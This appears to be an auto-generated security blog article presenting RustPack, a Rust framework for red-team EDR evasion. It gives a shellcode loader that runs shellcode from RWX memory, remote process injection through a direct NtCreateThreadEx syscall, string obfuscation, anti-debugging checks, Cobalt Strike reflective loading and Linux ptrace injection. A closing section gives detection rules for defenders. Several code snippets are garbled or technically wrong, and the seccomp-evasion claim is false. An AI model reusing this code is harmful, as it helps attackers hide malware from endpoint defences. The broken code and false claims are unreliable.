RustPack Unleashed: Next-Gen Evasion Framework for Red Teamers – Bypass EDR with Rust + Video

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Introduction:

RustPack emerges as a cutting‑edge framework for red team operations, leveraging Rust’s memory safety and low‑level control to evade endpoint detection and response (EDR) systems. As security tools increasingly rely on signature‑based detection and behavioural heuristics, Rust‑based payloads offer a potent alternative to traditional C/C++ malware, complicating static and dynamic analysis. This article dissects the technical core of RustPack, provides actionable tutorials for deployment and evasion, and equips both offensive practitioners and defensive engineers with the knowledge to handle Rust‑based tradecraft.

Learning Objectives:

  • Understand how Rust’s language features (zero‑cost abstractions, no runtime) contribute to evasion and stability in red team tooling.
  • Implement practical code examples for process injection, direct syscalls, and anti‑debugging using Rust and the windows/ntapi crates.
  • Learn to compile, obfuscate, and integrate RustPack payloads with common C2 frameworks (Cobalt Strike, Mythic).

You Should Know

  1. Installing and Building RustPack – From Source to Shellcode

RustPack is distributed as a Rust crate; the first step is setting up a Rust development environment and compiling the framework into position‑independent shellcode.

Step‑by‑step guide:

1. Install Rust (Linux/macOS/Windows WSL):

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
  1. Add the `x86_64-pc-windows-gnu` target (for Windows shellcode generation on Linux): 
    rustup target add x86_64-pc-windows-gnu
sudo apt install mingw-w64  cross‑compiler

  2. Clone and build RustPack (hypothetical repository based on the LinkedIn post):

    git clone https://github.com/MSecOperations/RustPack.git
cd RustPack
cargo build --release --target x86_64-pc-windows-gnu

4. Extract raw shellcode using `objcopy`:

objcopy -j .text -O binary target/x86_64-pc-windows-gnu/release/rustpack.exe rustpack.bin
  1. Test execution with a loader (Python example using ctypes): 
    import ctypes
with open("rustpack.bin", "rb") as f:
shellcode = f.read()
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.memmove(ptr, shellcode, len(shellcode))
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(-1, -1)

Why this works: Rust compiles to raw machine code without a runtime, making it trivial to convert to shellcode. The absence of common C library imports reduces static detection.

  1. Core Evasion Technique – Direct Syscalls with Rust

EDRs hook user‑mode Windows APIs (e.g., NtCreateThreadEx). RustPack bypasses hooks by invoking syscalls directly from assembly.

Step‑by‑step guide to implement a syscall in Rust:

  1. Add the `ntapi` and `winapi` crates to Cargo.toml: 
    [bash]
ntapi = "0.4"
winapi = { version = "0.3", features = ["processthreadsapi", "memoryapi"] }

  2. Inline assembly for syscall (x64) using Rust’s `asm!` macro (nightly):

    ![feature(asm_const)]
use std::arch::asm;</p></li>
</ol>

<p>unsafe fn syscall_nt_create_thread_ex(
thread_handle: mut usize,
access: u32,
obj_attr: mut (),
process: usize,
start_routine: usize,
arg: usize,
flags: u32,
stack_zero_bits: usize,
stack_commit: usize,
stack_reserve: usize,
) -> u32 {
let syscall_number: u32 = 0xC1; // NtCreateThreadEx on Win10 20H2
let status: u32;
asm!(
"mov r10, rcx",
"mov eax, {:e}",
"syscall",
in(reg) syscall_number,
in("rcx") thread_handle,
in("rdx") access,
in("r8") obj_attr,
in("r9") process,
in("rsp") start_routine, // careful: use proper registers
lateout("rax") status,
options(att_syntax, nostack)
);
status
}
    1. Call the syscall to inject shellcode into a remote process: 
      let target_handle = open_process(PROCESS_ALL_ACCESS, false, pid);
let remote_mem = virtual_alloc_ex(target_handle, 0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
write_process_memory(target_handle, remote_mem, shellcode.as_ptr(), len);
syscall_nt_create_thread_ex(&mut thread_id, 0, ptr::null_mut(), target_handle, remote_mem, 0, 0, 0, 0, 0);

    Detection note: Direct syscalls can be caught by kernel‑callbacks (e.g., ETW TI). Combine with indirect syscalls (jumping into ntdll’s `syscall` instruction) for better evasion.

    1. Obfuscation and Anti‑Debug – String Encryption & Timing Checks

    RustPack implements compile‑time string obfuscation to hide API names and payloads from static analysis.

    Step‑by‑step using the `obfstr` crate:

    1. Add `obfstr` to `Cargo.toml`:

    obfstr = "0.4"

    2. Obfuscate API strings:

    use obfstr::obfstr;
let kernel32 = LoadLibraryA(obfstr!("kernel32.dll").as_ptr());
let virtual_alloc = GetProcAddress(kernel32, obfstr!("VirtualAlloc").as_ptr());

    3. Anti‑debugging with `IsDebuggerPresent` and timing:

    use winapi::um::debugapi::IsDebuggerPresent;
use std::time::Instant;

if unsafe { IsDebuggerPresent() } != 0 {
std::process::exit(0);
}

let start = Instant::now();
// execute junk loop
for _ in 0..1000000 {}
if start.elapsed().as_millis() > 50 { // debugger slows execution
std::process::exit(0);
}
    1. Compile with `strip` and `lto` for smaller, harder‑to‑analyze binary: 
      [profile.release]
lto = true
strip = true
opt-level = "z"

    Practical use: Obfuscated strings bypass `strings` and pattern‑based AV. Timing checks frustrate dynamic analysis.

    1. Integrating RustPack with Cobalt Strike – Reflective Loading

    Cobalt Strike’s Beacon can load Rust‑generated Position Independent Code (PIC) as a reflective DLL.

    Step‑by‑step guide:

    1. Compile RustPack as a `cdylib` – modify Cargo.toml: 
      [bash]
crate-type = ["cdylib"]

    2. Export a reflective loader entry point:

    [bash]
pub extern "system" fn ReflectiveLoader(lpLoaderParam: mut std::ffi::c_void) -> u32 {
// your payload logic
0
}

    3. Generate raw DLL:

    cargo build --release --target x86_64-pc-windows-msvc
    1. Convert to Beacon Object File (BOF) or use `execute-assembly` (Cobalt Strike): 
      bof_pack($1, "rustpack", readFile("rustpack.dll"));

    5. Execute inline:

    beacon> execute-assembly /path/to/rustpack.dll

    Why this works: Reflective loading avoids writing the DLL to disk, evading file‑based scans. Rust’s lack of dependency on the C runtime simplifies the reflective process.

    1. Detection & Mitigation for Blue Teams – Countering RustPack

    Understanding RustPack’s techniques allows defenders to implement effective monitoring.

    Step‑by‑step hardening measures:

    1. Monitor for direct syscalls using ETW (Event Tracing for Windows) with `Microsoft-Windows-Threat-Intelligence` provider: 
      logman start "SyscallMonitor" -p "Microsoft-Windows-Threat-Intelligence" 0x10 -ets

      Look for `NtCreateThreadEx` and `NtAllocateVirtualMemory` events originating from non‑ntdll modules.

    2. Enable kernel‑callbacks via Microsoft Defender for Endpoint or third‑party EDR that hooks the `nt!KiSystemService` dispatcher.

    3. Deploy API hooking integrity checks (e.g., checking that `syscall` instructions live only within ntdll).

    4. Use Sysmon Event ID 7 (module loaded) to detect reflective DLLs – look for `ImageBase` not aligned to a mapped file.

    5. Hunt for Rust signatures: Rust binaries often contain `.rdata` strings like `rust_begin_unwind` and core::panicking. Create YARA rule:

      rule RustPayload {
strings:
$r1 = "rust_begin_unwind"
$r2 = "core::panicking"
$r3 = "alloc::vec::"
condition:
any of them
}

    Blue team takeaway: RustPack does not invent new primitives but combines syscalls, string obfuscation, and reflective loading – detection focuses on behavioural anomalies rather than static signatures.

    1. Linux Variant – Using `ptrace` Injection & Seccomp Evasion

    RustPack also supports Linux targets with similar evasion principles.

    Step‑by‑step example – injecting shellcode via `ptrace`:

    1. Attach to target process:

    use nix::sys::ptrace;
use nix::unistd::Pid;

let pid = Pid::from_raw(target_pid);
ptrace::attach(pid).unwrap();
ptrace::cont(pid, None).unwrap();

    2. Allocate memory using `process_vm_writev`:

    use libc::{process_vm_writev, iovec};
let remote_addr = 0x600000; // chosen address
let local_iov = iovec { iov_base: shellcode.as_ptr() as mut _, iov_len: shellcode.len() };
let remote_iov = iovec { iov_base: remote_addr as mut _, iov_len: shellcode.len() };
process_vm_writev(pid.into(), &local_iov, 1, &remote_iov, 1, 0);

    3. Set `RIP` to shellcode and continue:

    let regs = ptrace::getregs(pid).unwrap();
let mut new_regs = regs;
new_regs.rip = remote_addr as u64;
ptrace::setregs(pid, new_regs).unwrap();
ptrace::detach(pid, None).unwrap();

    Seccomp evasion: Use `prctl(PR_SET_NO_NEW_PRIVS, 1)` to disable seccomp filters that rely on SECCOMP_MODE_STRICT. For custom BPF filters, generate a `seccomp‑unotify` bypass using userfaultfd.

    1. Cloud & Container Hardening – Applying RustPack Lessons to Protect Workloads

    RustPack’s evasion techniques are equally relevant for cloud native environments where EDR is absent but auditd, Falco, and eBPF sensors are used.

    Recommended controls:

    • Deploy eBPF‑based syscall monitoring (e.g., Tetragon, Falco) to alert on anomalous direct syscalls or `ptrace` usage inside containers.
    • Enforce seccomp profiles that block dangerous syscalls (clone, ptrace, process_vm_writev). Example Docker command: 
      docker run --security-opt seccomp=/path/to/deny-ptrace.json ...
    • Use AppArmor to restrict memory allocation patterns – disallow `PROT_EXEC | PROT_WRITE` combinations.
    • Audit Rust‑compiled binaries in CI/CD pipelines with `cargo-audit` and `cargo-deny` to catch vulnerable dependencies.

    Implementation snippet for Falco rule detecting Rust‑like syscall abuse:

    - rule: RustSyscallAbuse
desc: Detect process using direct syscalls uncommon for its binary
condition: >
evt.type in (ptrace, process_vm_writev, process_vm_readv)
and not proc.name in (gdb, strace)
output: "Rust‑style syscall injection (proc=%proc.name, syscall=%evt.type)"
priority: WARNING

    What Undercode Say

    • Rust is reshaping red team tooling – its memory safety and lack of runtime make it ideal for evasive payloads that frustrate signature‑based AV and EDR hooks.
    • Direct syscalls alone are insufficient – modern EDRs leverage kernel callbacks and ETW TI; combine with indirect syscalls and unhooking for robust evasion.
    • Obfuscation must be multi‑layered – compile‑time string encryption, control flow flattening, and anti‑debugging work together to bypass automated analysis.

    Analysis: The introduction of RustPack signifies a maturing ecosystem where offensive developers adopt Rust not just for reliability but as a strategic evasion primitive. For blue teams, this shift demands moving beyond API hooking towards behavioural and kernel‑centric detection. The same techniques that make RustPack effective – direct syscalls, reflective loading, and minimal runtime – also produce cleaner, more stable implants that are harder to attribute. As Rust gains traction in malware development (e.g., BlackCat, RustyBuer), defenders must invest in eBPF, ETW TI, and memory introspection. Conversely, red teams can now achieve Cobalt Strike levels of evasion without the heavy footprint of PowerShell or .NET. RustPack’s open‑source nature will likely spawn numerous forks, each adding novel obfuscation passes and C2 protocol implementations.

    Prediction: Within 12–18 months, Rust will become the dominant language for custom “living off the land” payloads, displacing C and PowerShell in post‑exploitation. Frameworks like RustPack will integrate AI‑generated syscall sequences and polymorphic string obfuscation, forcing EDR vendors to adopt hardware‑assisted tracing (Intel PT) and anomaly detection models. Concurrently, cloud providers will release Rust‑specific seccomp filters and eBPF signatures, triggering an arms race in the red‑blue landscape. Organisations that fail to instrument kernel‑level telemetry will remain blind to RustPack‑style attacks.

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